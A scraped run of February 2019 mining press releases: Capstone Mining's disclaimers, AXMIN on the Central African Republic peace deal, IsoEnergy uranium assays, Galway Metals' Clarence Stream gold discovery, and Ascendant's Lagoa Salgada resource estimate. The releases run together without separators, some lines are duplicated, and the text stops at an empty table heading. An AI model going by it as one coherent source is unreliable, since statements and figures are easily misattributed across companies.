Capstone Mining Corp. is a Canadian base metals mining company, focused on copper. We are committed to the responsible development of our assets and the environments in which we operate. Our two producing mines are the Pinto Valley copper mine located in Arizona, US and the Cozamin polymetallic mine in Zacatecas State, Mexico. In addition, Capstone has the large scale 70% owned copper-iron Santo Domingo development project in Region III, Chile in partnership with Korea Resources Corporation, the Minto copper mine in Yukon, Canada currently on care and maintenance, as well as a portfolio of exploration properties. Capstone's strategy is to focus on the optimization of operations and assets in politically stable, mining-friendly regions, centred in the Americas. Our headquarters are in Vancouver, Canada and we are listed on the Toronto Stock Exchange (TSX). Further information is available at www.capstonemining.com.

CAUTIONARY NOTE REGARDING FORWARD-LOOKING INFORMATION

This document may contain "forward-looking information" within the meaning of Canadian securities legislation and "forward-looking statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 (collectively, "forward-looking statements"). These forward-looking statements are made as of the date of this document and the Company does not intend, and does not assume any obligation, to update these forward-looking statements, except as required under applicable securities legislation.

Forward-looking statements relate to future events or future performance and reflect our expectations or beliefs regarding future events. Forward-looking statements include, but are not limited to, statements with respect to the estimation of mineral resources and mineral reserves, the realization of mineral reserve estimates, the timing and amount of estimated future production, costs of production and capital expenditures, the success of our mining operations, environmental risks, unanticipated reclamation expenses and title disputes. In certain cases, forward-looking statements can be identified by the use of words such as "plans", "expects", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", "believes" or variations of such words and phrases, or statements that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved" or the negative of these terms or comparable terminology. In this document certain forward-looking statements are identified by words including "guidance" and "expects". By their very nature, forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause our actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. Such factors include, amongst others, risks related to inherent hazards associated with mining operations and closure of mining projects, future prices of copper and other metals, compliance with financial covenants, surety bonding, our ability to raise capital, Capstone's ability to acquire properties for growth, counterparty risks associated with sales of our metals, use of financial derivative instruments and associated counterparty risks, foreign currency exchange rate fluctuations, changes in general economic conditions, accuracy of mineral resource and mineral reserve estimates, operating in foreign jurisdictions with risk of changes to governmental regulation, compliance with governmental regulations, compliance with environmental laws and regulations, reliance on approvals, licences and permits from governmental authorities, impact of climatic conditions on our operations, aboriginal title claims and rights to consultation and accommodation, land reclamation and mine closure obligations, uncertainties and risks related to the potential development of the Santo Domingo Project, increased operating and capital costs, challenges to title to our mineral properties, maintaining ongoing social license to operate, dependence on key management personnel, potential conflicts of interest involving our directors and officers, corruption and bribery, limitations inherent in our insurance coverage, labour relations, increasing energy prices, competition in the mining industry, risks associated with joint venture partners, our ability to integrate new acquisitions into our operations, cybersecurity threats, legal proceedings, and other risks of the mining industry as well as those factors detailed from time to time in the Company's interim and annual financial statements and MD&A of those statements, all of which are filed and available for review under the Company's profile on SEDAR at www.sedar.com. Although the Company has attempted to identify important factors that could cause our actual results, performance or achievements to differ materially from those described in our forward-looking statements, there may be other factors that cause our results, performance or achievements not to be as anticipated, estimated or intended. There can be no assurance that our forward-looking statements will prove to be accurate, as our actual results, performance or achievements could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on our forward-looking statements.

NATIONAL INSTRUMENT 43-101 COMPLIANCE

Unless otherwise indicated, Capstone has prepared the technical information in this news release ("Technical Information") based on information contained in the technical reports, news releases and MD&A's (collectively the "Disclosure Documents") available under Capstone Mining Corp.'s company profile on SEDAR at www.sedar.com. Each Disclosure Document was prepared by, or under the supervision of, a qualified person (a "Qualified Person") as defined in National Instrument 43-101 Standards of Disclosure for Mineral Projects of the Canadian Securities Administrators ("NI 43-101"). Readers are encouraged to review the full text of the Disclosure Documents which qualifies the Technical Information. Readers are advised that mineral resources that are not mineral reserves do not have demonstrated economic viability. The Disclosure Documents are each intended to be read as a whole, and sections should not be read or relied upon out of context. The Technical Information is subject to the assumptions and qualifications contained in the Disclosure Documents.

The technical information in this news release ("Technical Information") was prepared by, or under the supervision of, a qualified person (a "Qualified Person") as defined in National Instrument 43-101 Standards of Disclosure for Mineral Projects of the Canadian Securities Administrators ("NI 43-101"). The disclosure of Technical Information and information related to mineral exploration activities contained in this news release have been reviewed and approved by Brad Mercer, P. Geol., Senior Vice President, Operation and Exploration.

ALTERNATIVE PERFORMANCE MEASURES

The items marked with a "1" are alternative performance measures and readers should refer to Alternative Performance Measures in the Company's Management's Discussion and Analysis for the quarter ended December 31, 2018 as filed on SEDAR and as available on the Company's website.

CAUTIONARY NOTE TO UNITED STATES INVESTORS

This news release contains disclosure that has been prepared in accordance with the requirements of Canadian securities laws, which differ from the requirements of US securities laws. Without limiting the foregoing, this news release may refer to technical reports that use the terms "indicated" and "inferred" resources. US investors are cautioned that, while such terms are recognized and required by Canadian securities laws, the SEC does not recognize them. Under US standards, mineralization may not be classified as a "reserve" unless the determination has been made that the mineralization could be economically and legally produced or extracted at the time the reserve determination is made. US investors are cautioned not to assume that all or any part of indicated resources will ever be converted into reserves. US investors should also understand that "inferred resources" have a great amount of uncertainty as to their existence and as to whether they can be mined legally or economically. It cannot be assumed that all or any part of "inferred resources" will ever be upgraded to a higher category. Therefore, US investors are also cautioned not to assume that all or any part of inferred resources exist, or that they can be mined legally or economically. Accordingly, information concerning descriptions of mineralization and resources contained in this news release may not be comparable to information made public by US companies subject to the reporting and disclosure requirements of the SEC.

1 This is an alternative performance measure; please see "Alternative Performance Measures" at the end of this release.Vancouver, British Columbia--(Newsfile Corp. - February 12, 2019) - AXMIN Inc. (TSXV: AXM) ("AXMIN" or the "Company") notes the following news release.

On Saturday February 2, 2019 the Government of the CAR announced on social media that an agreement for peace had been made at the talks taking place in Khartoum. The Government stated that the agreement would be initialed on Sunday February 3, 2019 and thereafter it was signed in Bangui on February 6th.

The agreement comes after discussions that were facilitated in Khartoum by the African Union and the Untied Nations with assistance from Russia. The key points of this agreement are:

An immediate cessation of violence by the armed groups against defence and security forces, UN personnel, humanitarian workers and the general population.

The armed groups will respect the legitimacy of the CAR's institutions and will disband.

The Government will analyse the reintegration of the leaders of the armed groups who previously served as civil servants or in the military.

The Government will set up a Truth, Justice, Reparation and Reconciliation Commission within 90 days.

The parties to the agreement will undertake to set up mixed security units that will include both the defence and security forces as well as former members of the armed groups.

A Prime Minister will be appointed drawn from a representative of the former armed groups.

The former armed groups will have the right to start political parties without hinderance.

Ambassador Smail Chergui, the African Union Commissioner for Peace and Security stated on social media:

 I am humbled to announce that with the exemplary cooperation I received from both the Government of the CAR(@GouvCF) and the 14 armed groups, we have secured a #peace agreement today in the interest of the people of #CAR.

Separately on Thursday January 31, 2019 the United Nations Security Council voted unanimously on a resolution drafted by France that provides for a roadmap to lift the arms embargo on the CAR. This resolution states that the Council will establish requisite benchmarks by April 30, 2019 and will assess progress on these benchmarks by July 31, 2019. The Council will then review the arms embargo measures by September 30,2019.

The resolution welcomes 'the significant efforts made by the CAR authorities' to advance security sector reform, including by developing a national defense plan and national security policy. This resolution acknowledged 'the urgent need for the CAR authorities to train and equip their defense and security forces to be able to respond proportionately to threats to the security of all citizens in the CAR.' The Council stated that it had granted several exemptions to allow shipments of weapons from France, Russia, China, the United States and Belgium for the CAR's army.

AXMIN's Chairman and CEO Lucy Yan sated:

AXMIN is delighted to hear that a peace agreement has been reached in Khartoum and hope that this agreement will be honored and bring security and stability to the CAR. The Company believes that the combination of the agreement together with the eventual lifting of the arms embargo should provide both the framework for stability and also the effective method of enforcement by equipping and deploying the military forces of the Government of the CAR. We look forward to being back on site and working on developing the Passendro asset as soon as conditions allow in the near future.

A further press release regarding the security situation in Ndassima, the location of the Company's Passendro asset, will be made when appropriate to do so.

About AXMIN

AXMIN is a Canadian exploration and development company with a strong focus on the African continent. AXMIN continues to closely monitor the political situation at its Passendro Gold Project in the Central African Republic. For more information regarding AXMIN visit our website at www.axmininc.com. Please also follow us on Facebook. https://www.facebook.com/axmininc

For additional information, please contact AXMIN Inc.:

Lucy Yan

Chairman and CEO

This email address is being protected from spambots. You need JavaScript enabled to view it.

AXMIN Inc.

General Enquiries

David de Jongh Weill

Chief Financial Officer and Corporate Secretary

This email address is being protected from spambots. You need JavaScript enabled to view it.

+65 9781 8281

Investor Relations

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www.axmininc.com

This press release includes certain "forward-looking information" within the meaning of applicable Canadian securities legislation. All information, other than statements of historical fact included herein, including without limitation, information regarding the future option grant plans and objectives of AXMIN, are forward-looking information that involves various risks and uncertainties.

There can be no assurance that such information will prove to be accurate and actual results and future events could differ materially from those anticipated in such information. Important factors that could cause actual results to differ materially from AXMIN's expectations have been disclosed under the heading "Risk Factors" and elsewhere in AXMIN's documents filed from time-to-time with the TSX Venture Exchange and other regulatory authorities. AXMIN disclaims any intention or obligation to update or revise any forward-looking information whether resulting from new information, future events or otherwise, except as required by applicable law.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.VANCOUVER, Feb. 13, 2019 /CNW/ - IsoEnergy Ltd. ("IsoEnergy" or the "Company") (TSXV: ISO; OTCQX: ISENF) is pleased to announce chemical assay results from intervals of strong uranium mineralization reported earlier (see news release dated January 28, 2019) from the Hurricane zone. The highlight is an intersection in drill hole LE19-02 of 3.5 metres averaging 10.4% U 3 O 8 from 326.5-330.0 metres, that includes 38.2% U 3 O 8 over 0.5 metres from 329.0-329.5 metres. The Hurricane zone is a new discovery of high-grade uranium mineralization on the Company's 100% owned Larocque East property (the "Property") in the eastern Athabasca Basin of northern Saskatchewan.

Highlights

Drill Hole LE19-02 intersected 3.5 m @ 10.4% U 3 O 8 , including 0.5 m @ 38.2% U 3 O 8

Drill Hole LE19-03 intersected 3.0 m @ 2.7% U 3 O 8 , including 0.5 m @ 13.3% U 3 O 8

Substantial Ni mineralization is present in both drill holes

Five of a planned 10 drill holes are complete

This drill program and subsequent follow-up efforts in 2019 are fully funded

Craig Parry, Chief Executive Officer commented: "I'm very pleased to report these initial assays from our follow-up drilling campaign at the Hurricane zone. With an impressive width, growth along its length, and some very high-grade assays, Hurricane has demonstrated potential to grow into a significant find."

Steve Blower, Vice President, Exploration commented: "Our geologists deserve a lot of credit for their interpretation of the geology and rapid identification of the key controls on mineralization. Uranium at Hurricane is related to certain faulted graphitic basement units that form a subtle ridge along the sub-Athabasca unconformity. We will continue to target these structures as we progress along the length of the zone with subsequent drilling."

LE19-02 and LE19-03 Assay Results

Drill hole LE19-02 intersected two main intervals of fracture controlled, disseminated and replacement styles of pitchblende uranium mineralization (>1,000 cps RS-125), as summarized in Table 1. An upper zone of sandstone-hosted uranium mineralization is followed by strong uranium mineralization at the unconformity that averages 10.4% U 3 O 8 and 0.8% Ni over 3.5 metres. Included in the interval are maximum values of 38.2% U 3 O 8 and 1.6% Ni over 0.5 metres.

Drill hole LE19-03 also intersected two main intervals of uranium mineralization that are similar to those described above for LE19-02. An upper zone of sandstone-hosted uranium mineralization is followed by strong uranium mineralization at the unconformity that averages 2.7% U 3 O 8 and 2.5% Ni over 3.0 metres. Included in the interval are maximum values of 13.3% U 3 O 8 and 11.8% Ni over 0.5 metres.

Table 1  Hurricane Zone Radioactive Intervals

Hole-ID From (m) To (m) Length (m) Radioactivity1,2 (CPS) Chemical Assays Location U 3 O 8 (%) Ni (%) LE19-02 316.5 320.0 3.5 >1,000 0.2 0.1 Section 4560E and 326.5 330.0 3.5 >1,000 10.4 0.8 incl. 328.5 330.0 1.5 >20,000 23.6 1.6 incl. 329.0 329.5 0.5 >50,000 38.2 1.5 LE19-03 324.0 324.5 0.5 >1,000 0.2 0.1 Section 4560E and 326.5 329.5 3.0 >1,000 2.7 2.3 incl. 328.5 329.5 1.0 >5,000 7.6 6.6 incl. 329.0 329.5 0.5 >20,000 13.3 11.8 LE19-04 329.0 329.5 0.5 >1,000 Pending Section 4560E 333.0 333.5 0.5 >1,000 Pending LE19-05 No significantly elevated radioactivity Section 4560E LE19-06 328.0 330.0 2.0 >1,000 Pending Section 4585E and 332.0 336.0 4.0 >5,000 Pending incl. 333.5 335.5 2.0 >10,000 Pending incl. 333.5 334.0 0.5 >20,000 Pending Notes: 1. Radioactivity is total gamma from drill core measured with an RS-125 hand-held spectrometer. 2. Measurements of total gamma are an indication of uranium content, but may not correlate with assays

Larocque East

Larocque East consists of 6 mineral claims totaling 3,200 hectares and was purchased in May, 2018. The Property is owned 100% by IsoEnergy and is not encumbered by any royalties or other interests. Larocque East is immediately adjacent to the north end of IsoEnergy's Geiger property and is 35 kilometres northwest of Orano Canada's McClean Lake uranium mine and mill.

The Property covers a 15-kilometre-long northeast extension of the Larocque Lake conductor system; a trend of graphitic metasedimentary basement rocks that is associated with significant uranium mineralization in several occurrences to the southwest of the Larocque East property. The closest of these are the Larocque Lake and Larocque North zones, which are located 6.5 kilometres and 0.4 kilometres, respectively, to the southwest of the western Larocque East property boundary. Drilling at the Larocque Lake zone has returned historical intersections of up to 29.9% U 3 O 8 over 7.0 metres in drill hole Q22-040. Drilling at the Larocque North zone has returned intersections of up to 2.05% U 3 O 8 over 0.6 metres in drill hole Q22-16. Like the nearby Geiger property, Larocque East is located adjacent to the Wollaston-Mudjatik transition zone - a major crustal suture related to most of the major uranium deposits in the eastern Athabasca Basin. Importantly, the sandstone cover is thin, ranging between 140 metres and 330 metres in previous drilling.

A total of 23 historical drill holes have been completed on the Property along approximately 22 kilometres of graphitic conductors. Five of the historical holes have intersected weak uranium mineralization on the Larocque East property to date, including drill holes KER-07 (0.12% U 3 O 8 over 0.1 metre) and KER-11 (0.06% U 3 O 8 over 0.5 metre) near the western property boundary, within the general vicinity of the Hurricane zone.

Next Steps

Additional drilling is underway on the 4585E cross-section to the north and south of drill hole LE19-06. This will be followed by along-strike step-outs to the west of the discovery section. The originally contemplated drill program is approximately half finished. Following a $5.5M financing that closed in December, 2018, the company is fully funded for the current drill program and subsequent follow-up in 2019.

Figure 1  Larocque East Property Location Map

Figure 2 Cross-Section 4560E

Qualified Person Statement

The scientific and technical information contained in this news release was prepared by Andy Carmichael, P.Geo., IsoEnergy's Senior Geologist, who is a "qualified person" (as defined in National Instrument 43-101  Standards of Disclosure for Mineral Projects). Mr. Carmichael has verified the data disclosed. This news release refers to properties other than those in which the Company has an interest. Mineralization on those other properties is not necessarily indicative of mineralization on the Company's properties. An RS-125 hand-held spectrometer was used to verify that the radioactivity is due to uranium. As the drill holes reported herein are vertical or near-vertical, and the mineralization is interpreted to be horizontal, the true thickness is expected to be within 90% of the cored intervals.

About IsoEnergy

IsoEnergy is a well-funded uranium exploration and development company with a portfolio of prospective projects in the eastern Athabasca Basin in Saskatchewan, Canada and a historic inferred mineral resource estimate at the Mountain Lake uranium deposit in Nunavut. IsoEnergy is led by a Board and Management team with a track record of success in uranium exploration, development and operations. The Company was founded and is supported by the team at its major shareholder, NexGen Energy Ltd.

Neither the TSX Venture Exchange nor its Regulations Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release shall not constitute an offer to sell or a solicitation of any offer to buy any securities, nor shall there be any sale of any securities in any jurisdiction in which such offer, solicitation or sale would be unlawful. The securities referenced herein have not been, nor will they be, registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act"), and such securities may not be offered or sold within the United States absent registration under the U.S. Securities Act or an applicable exemption from the registration requirements thereunder.

Forward-Looking Information

The information contained herein contains "forward-looking statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 and "forward-looking information" within the meaning of applicable Canadian securities legislation. "Forward-looking information" includes, but is not limited to, statements with respect to the activities, events or developments that the Company expects or anticipates will or may occur in the future, including, without limitation, planned exploration activities. Generally, but not always, forward-looking information and statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", or "believes" or the negative connotation thereof or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved" or the negative connotation thereof.

Such forward-looking information and statements are based on numerous assumptions, including among others, that the results of planned exploration activities are as anticipated, the price of uranium, the anticipated cost of planned exploration activities, that general business and economic conditions will not change in a material adverse manner, that financing will be available if and when needed and on reasonable terms, that third party contractors, equipment and supplies and governmental and other approvals required to conduct the Company's planned exploration activities will be available on reasonable terms and in a timely manner. Although the assumptions made by the Company in providing forward-looking information or making forward-looking statements are considered reasonable by management at the time, there can be no assurance that such assumptions will prove to be accurate.

Forward-looking information and statements also involve known and unknown risks and uncertainties and other factors, which may cause actual events or results in future periods to differ materially from any projections of future events or results expressed or implied by such forward-looking information or statements, including, among others: negative operating cash flow and dependence on third party financing, uncertainty of additional financing, no known mineral reserves or resources, the limited operating history of the Company, the influence of a large shareholder, alternative sources of energy and uranium prices, aboriginal title and consultation issues, reliance on key management and other personnel, actual results of exploration activities being different than anticipated, changes in exploration programs based upon results, availability of third party contractors, availability of equipment and supplies, failure of equipment to operate as anticipated; accidents, effects of weather and other natural phenomena and other risks associated with the mineral exploration industry, environmental risks, changes in laws and regulations, community relations and delays in obtaining governmental or other approvals.

Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in the forward-looking information or implied by forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking information and statements will prove to be accurate, as actual results and future events could differ materially from those anticipated, estimated or intended. Accordingly, readers should not place undue reliance on forward-looking statements or information. The Company undertakes no obligation to update or reissue forward-looking information as a result of new information or events except as required by applicable securities lawsTORONTO, ON / ACCESSWIRE / February 13, 2019 / Galway Metals Inc. (TSX-V: GWM) (OTC PINK: GAYMF) (the "Company" or "Galway") is pleased to report first assays from the brand-new gold discovery at its Clarence Stream Gold Project in SW New Brunswick. Significantly, the new gold zone is in an area where there has been no previous drilling, centered between the George Murphy and Jubilee Zones, approximately 1km from each. This new discovery highlights the importance of Clarence Stream as one of Canada's most exciting new gold camps. The discovery hole, BL18-12, returned 7.3 g/t Au over 36.7 metres, including 38.1 g/t Au over 6.5 meters in multiple quartz veins containing abundant visible gold, starting only 51 metres downhole and 36 metres vertical (Figure 1).

Drilling in hole BL19-15 also has intersected visible gold (VG) twice, approximately 50 metres NW of and 97 metres vertically below the VG seen in BL18-12 (Figure 2). Assays are pending. The new discovery, in holes BL18-12 and BL19-15, represents the 2nd deposit that Galway has found since the Company began drilling Clarence Stream in October 2016 (the George Murphy Zone (GMZ) being the other), and the fifth deposit identified in the Clarence Stream district to date. Currently, only two of these five deposits, the North and South Zones, are in the existing resource (September 26, 2017), which is scheduled to be updated in 2019.

"These results exceed even our most optimistic expectations and we stand by our belief that Clarence Stream represents a new district scale opportunity. Last year, the focus was on expanding the mineralization of the newly discovered George Murphy Zone. A few weeks after moving the drill rig, we are on to another new discovery. Not only are we excited by the large, high-grade intercept found close to surface, we are also encouraged by the consistency of the higher-grade interval within that larger intercept. This bodes very well for future exploration of the whole Clarence Stream camp in which Galway controls 65km of the main NE-SW trend. In addition, if the new discovery trends NW-SE, as we believe, that dramatically opens up the possibilities for new deposits along those trends as well as along the main NE-SW trend parallel to the main break, the Sawyer Brook Fault," cites Robert Hinchcliffe, President and CEO of Galway Metals.

Highlights

BL18-12: 7.3 grams per tonne (g/t) Au over 36.7 metres (m) at a vertical depth of 36 m below surface, ( including 38.1 g/t Au over 6.5 m ; true widths unknown).

at a vertical depth of 36 m below surface, ( ; true widths unknown). BL19-15: Visible gold seen in the core at 190.6 m and 191.9 m downhole at a vertical depth of 133 m below surface in 35% Quartz Veining from 188-199 m downhole; assays are pending.

downhole at a vertical depth of 133 m below surface in 35% Quartz Veining from 188-199 m downhole; assays are pending. 2 g/t Au from a boulder, thought to be in-situ and containing VG, located 250 m SE of the Jubilee Zone and 850 m SW of the New Discovery Zone.

New Discovery-Drilling Appears to Identify NW-SE Trend; Follow Up Holes Encouraging 

Galway has drilled 3 additional holes in the vicinity of the new discovery. Multiple zones were intersected in the discovery hole. These include intersections of 1.3 g/t Au over 5.2 m, 0.7 over 1.0m, and 7.3 g/t Au over 36.7 m, which included 38.1 g/t Au over 6.5 m. The drill holes located 100m east and 100m west intersected several mineralized zones as well, but they appear to host different mineralizationassays are pending. The fourth hole drilled, hole 15 on which assays are also pending, intersected quartz veining and visible gold in two places located approximately 50 metres horizontally NW of the new discovery and 133 metres vertical (97 metres vertical below the high-grade intercept in hole BL18-12). The intersections of VG in holes 12 and 15, if the same zone, would require a zone trending NW-SE and dipping steeply, or trending more east-west and dipping 60 degrees north. The angle of the vein to the core axes in holes 12 and 15 would favour the NW-SE trend.

Southern New Brunswick hosts both NE-SW trending deposits such as Clarence Stream's South, George Murphy and Jubilee Zones, and NW-SE trending deposits such as the Bald Hill antimony deposit, the Mount Pleasant tin-tungsten deposit, and Galway's Clarence Stream North gold deposit. Numerous strong soil anomalies on Galway's properties also appear to have a NW-SE trend (Figure 3). Galway will undertake an optical down-hole survey that will interpret the actual orientation of the New Discovery Zone. It should be noted that the soil anomaly that was targeted has only 19 parts per billion (ppb) as its highest value versus much higher values (up to 1,030 ppb) elsewhere throughout the property that have yet to be drilled.

 56.2 g/t Grab Sample Appears to be Hosted Within One of the Many NW-SE Trends

A grab sample, from a massive angular boulder thought to be approximately in-situ, grades 56.2 g/t Au, located approximately 250 metres SE of the Jubilee Zone and 850 metres SW of the New Discovery Zone. It contained fine VG and is a quartz zone at least 0.5 metres wide and situated within a zone of high-grade gold-in-soils that returned 380ppb, 311ppb, 319ppb, 201ppb and 91ppb that appears to trend NW-SE (Figure 4). For perspective, 10 ppb Au is considered anomalous. Galway plans on following up this discovery with drilling in coming months.

Note: Early exploration activities and results from soil and boulders are preliminary in nature and not necessarily representative of the mineralization hosted on the property, nor are they conclusive evidence of the likelihood of a mineral deposit.

Table 1: Assay Results

Hole ID From

(m) To

(m) Intercept

(m) Au

g/t GWM-18BL-12 49.85 86.50 36.65 7.3 incl. 51.75 58.25 6.50 38.1 incl. 51.75 52.50 0.75 58.2 incl. 52.50 53.50 1.00 41.6 incl. 53.50 54.50 1.00 28.1 incl. 54.50 55.50 1.00 23.6 incl. 55.50 56.50 1.00 41.3 incl. 56.50 57.50 1.00 33.2 incl. 57.50 58.25 0.75 48.4 4.50 9.70 5.20 1.3 26.00 27.00 1.00 0.7

Visible Gold contained in all bolded intersects. 0.42 g/t Au was used for the bottom cut-off; True widths are unknown.

Come and see us at the PDAC!

Core of VG from Clarence Stream will be on display at Galway's PDAC Booth #2623A on Sunday and Monday, March 3rd and 4th.

New Brunswick Junior Mining Assistance Program

Galway would like to acknowledge financial support from the New Brunswick Junior Mining Assistance Program, which partially funded drilling of the GMZ, and the drilling of this new discovery.

Geology and Mineralization

The new discovery in hole 12 contains elevated levels of bismuth, arsenopyrite, and antimony, with tungsten in the vicinity. This is similar to other Clarence Stream deposits, which can be characterized as intrusion-related quartz-vein hosted gold deposits. Holes 13-15 intersected multiple zones of quartz veining with sulfides and sericite alteration. Hole 12 intersected VG in a 6.5 m zone beginning 51.75 m downhole and hole 15 intersected VG at 190.6m and at 191.9m downhole (Figure 2). In general, mineralization at Clarence Stream consists of 10-70% quartz stockworks and veins with 1-5% fine pyrite plus pyrrhotite plus arsenopyrite in sericite altered sediments. A more complete description of Clarence Stream's geology and mineralization can be found at www.galwaymetalsinc.com.

Review by Qualified Person, Quality Control and Reports

Michael Sutton, P.Geo., is the Qualified Person who supervised the preparation of the scientific and technical disclosure in this news release on behalf of Galway Metals Inc. All core, chip/boulder samples, and soil samples are assayed by Activation Laboratories, 41 Bittern Street, Ancaster, Ontario, Canada, who have ISO/IEC 17025 accreditation. All core is under watch from the drill site to the core processing facility. All samples are assayed for gold by Fire Assay, with gravimetric finish, and other elements assayed using ICP. The Company's QA/QC program includes the regular insertion of blanks and standards into the sample shipments, as well as instructions for duplication. Standards, blanks and duplicates are inserted at one per 20 samples. Approximately five percent (5%) of the pulps and rejects are sent for check assaying at a second lab with the results averaged and intersections updated when received. Core recovery in the mineralized zones has averaged 99%. The soil anomalies may not be representative of the mineralization hosted on the property.

Table 2: Drill Hole Coordinates

Hole ID Azimuth Dip Northing Easting Total Depth (m) NEW DISCOVERY GWM18BL-12 120 -45 5021594 653463 270 GWM19BL-13 300 -45 5021474 653464 311 GWM19BL-14 300 -45 5021623 653595 293 GWM19BL-15 12 -45 5021477 653422 348

For results of all holes drilled at Clarence Stream, go to Galway's website at www.galwaymetalsinc.com.

Figure 1: Location of the New Discovery Zone and the 56.2 g/t Au Grab Sample





Figure 2: Photos of New Discovery Drill Core from Holes BL18-12 and BL19-15

Figure 3: Soils Map of the SW Portion of Galway's Clarence Stream Property

Figure 4: Soils Map of the Jubilee, New Discovery and George Murphy Zones

About the Company

Galway Metals is well capitalized with two projects in Canada, Clarence Stream, an emerging gold district in New Brunswick, and Estrades, the former producing, high-grade VMS mine in Quebec. The Company began trading on January 4, 2013, after its successful spinout to existing shareholders from Galway Resources following the completion of the US$340 million sale of that company. With substantially the same management team and Board of Directors, Galway Metals is keenly intent on creating similar value as it had with Galway Resources.

Should you have any questions and for further information, please contact (toll free):

CONTACT:

Galway Metals Inc.

Robert Hinchcliffe

President & Chief Executive Officer

1-800-771-0680

www.galwaymetalsinc.com

CAUTIONARY STATEMENT: Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy of this news release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein.

This news release contains forward-looking information which is not comprised of historical facts. Forward-looking information involves risks, uncertainties and other factors that could cause actual events, results, performance, prospects and opportunities to differ materially from those expressed or implied by such forward-looking information. Forward-looking information in this news release includes statements made herein with respect to, among other things, the Company's objectives, goals or future plans, potential corporate and/or property acquisitions, exploration results, potential mineralization, exploration and mine development plans, timing of the commencement of operations, and estimates of market conditions. Factors that could cause actual results to differ materially from such forward-looking information include, but are not limited to, exploration results being less favourable than anticipated, capital and operating costs varying significantly from estimates, delays in obtaining or failures to obtain required governmental, environmental or other project approvals, political risks, uncertainties relating to the availability and costs of financing needed in the future, changes in equity markets, inflation, changes in exchange rates, fluctuations in commodity prices, delays in the development of projects, risks associated with the defence of legal proceedings and other risks involved in the mineral exploration and development industry, as well as those risks set out in the Company's public disclosure documents filed on SEDAR. Although the Company believes that management's assumptions used to develop the forward-looking information in this news release are reasonable, including that, among other things, the Company will be able to identify and execute on opportunities to acquire mineral properties, exploration results will be consistent with management's expectations, financing will be available to the Company on favourable terms when required, commodity prices and foreign exchange rates will remain relatively stable, and the Company will be successful in the outcome of legal proceedings, undue reliance should not be placed on such information, which only applies as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all. The Company disclaims any intention or obligation to update or revise any forward-looking information contained herein, whether as a result of new information, future events or otherwise, except as required by applicable securities laws.Project more than doubled its previous mineral resources with modest drill program

TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Ascendant Resources Inc. (TSX: ASND) (OTCQX: ASDRF; FRA: 2D9) ("Ascendant" or the "Company) is very pleased to announce the results of an updated National Instrument 43-101 Mineral Resource Estimate at the Lagoa Salgada polymetallic Volcanogenic Massive Sulphide (VMS) Project located on the Iberian Pyrite Belt (IPB) in Portugal.

The new Mineral Resource Estimate demonstrates material growth in both the North Zone (Main Massive Sulphide) and the South Zone (Stockwork) deposits following a modest 7,077 metre drill program consisting of 20 drill holes. Both zones sit on an estimated geological strike length of 1.6km and have now been delineated by less than a total of 50 holes.

Highlights are as follows:

North Zone: Measured Mineral Resources of 1.8 Mt at 11.02% ZnEq 1

North Zone: Total Measured & Indicated Mineral Resource of 6.0 Mt at 9.4% ZnEq and Inferred Mineral Resource of 7.8 Mt at 7.4% ZnEq

South Zone: Indicated Resource of 1.8 Mt @ 5% ZnEq & Inferred Resource of 3.9Mt @ 4.5% 1 ZnEq with limited drilling (8 holes)

Infill drilling results continue to strengthen confidence in ore grade profile

Potential for further growth along continuous 1.6-km-long induced polarization (IP) anomaly suggesting the deposits remain open along strike and at depth (Figure 1 below)

A summary of the Mineral Resource Estimate is set out in Table 1 below:

Lagoa Salgada Total Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Measured All 1,761 11.02 0.38 3.09 3.19 0.15 62.41 0.84 Indicated All 6,082 7.61 0.50 2.09 1.84 0.09 48.61 0.40 M + I All 7,843 8.38 0.47 2.31 2.15 0.10 51.71 0.50 Inferred All 12,823 6.37 0.36 1.68 1.63 0.04 38.62 0.61

North Deposit Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zones kt % % % % % g/t g/t Measured GO 177 11.65 0.15 0.65 4.12 0.40 54.14 1.55 MS 1,584 10.95 0.40 3.36 3.09 0.12 63.33 0.76 Total 1,761 11.02 0.38 3.09 3.19 0.15 62.41 0.84 Indicated GO 451 7.86 0.13 0.52 3.07 0.30 35.10 0.67 MS 3,842 8.81 0.51 2.37 2.12 0.10 61.51 0.52 Total 4,293 8.71 0.47 2.18 2.22 0.12 58.73 0.54 M + I GO 628 8.93 0.14 0.56 3.37 0.33 40.47 0.92 MS 5,426 9.43 0.48 2.66 2.40 0.11 62.04 0.59 Total 6,054 9.38 0.44 2.44 2.50 0.13 59.80 0.63 Inferred GO 1,546 7.03 0.10 0.43 3.69 0.14 32.44 0.67 MS 5,911 7.78 0.36 2.31 1.96 0.05 57.08 0.58 SW 390 3.68 0.39 1.42 0.42 0.03 19.14 0.09 Total 7,847 7.43 0.31 1.90 2.22 0.07 50.34 0.58

Central Deposit Mineral Resource Estimate

Average Grade Category Mineralized Tonnes ZnEq Cu Zn Pb Sn Ag Au Zone kt % % % % % g/t g/t Inferred Total 1,078 5.41 0.11 0.17 0.06 0.00 12.15 2.89

South Deposit Mineral Resource Estimate

